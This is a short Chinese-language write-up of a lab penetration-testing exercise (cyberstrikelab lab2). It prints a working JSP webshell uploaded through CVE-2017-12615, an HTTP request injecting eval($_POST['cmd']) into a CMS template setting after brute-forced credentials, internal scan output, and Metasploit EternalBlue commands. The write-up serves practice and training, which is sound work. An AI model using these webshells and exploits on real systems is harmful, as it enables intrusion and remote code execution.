cyberstrikelab通关记录-lab2

信息收集

看看fscan的扫描记录

可以看到扫出来个cve，还有个骑士的站先试试再说

cve-2017-12615

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }    public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("ant");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

蚁剑连接

再来看看74这个站有啥洞去搜搜

泄漏了版本

参考： https://www.cnblogs.com/r00tuser/p/14028067.html

可以打文件包含

然后在去读取flag试试,好像不太行

参考： https://blog.csdn.net/weixin_50887021/article/details/120383773 又去试试后台，爆破下 是admin/admin123456

GET /index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1Host: 192.168.10.10:808Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.10.10:808/index.php?m=admin&c=tpl&a=indexAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=qm2f6p10m5plkrpqpdjtfam8n2; think_template=default; think_language=zh-CNConnection: keep-alive

访问该Application/Home/Conf/config.php

内网渗透

fscan.exe -h 192.168.20.20/24start infoscan(icmp) Target 192.168.20.20   is alive(icmp) Target 192.168.20.30   is alive[*] Icmp alive hosts len is: 2192.168.20.20:139 open192.168.20.30:135 open192.168.20.30:88 open192.168.20.20:8080 open192.168.20.30:445 open192.168.20.30:139 open192.168.20.20:135 open192.168.20.20:8009 open192.168.20.20:445 open[*] alive ports len is: 9start vulscan[*] NetInfo [*]192.168.20.30   [->]WIN-7NRTJO59O7N   [->]192.168.20.30[*] WebTitle [http://192.168.20.20:8080](http://192.168.20.20:8080/) code:200 len:11432  title:Apache Tomcat/8.5.19[*] NetBios 192.168.20.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600[+] MS17-010 192.168.20.30    (Windows Server 2008 R2 Standard 7600)[+] PocScan [http://192.168.20.20:8080](http://192.168.20.20:8080/) poc-yaml-iis-put-getshell [+] PocScan [http://192.168.20.20:8080](http://192.168.20.20:8080/) poc-yaml-tomcat-cve-2017-12615-rce

发现永恒之蓝打一下

永恒之蓝

proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuidset rhosts 192.168.20.3exploit

拿到flag。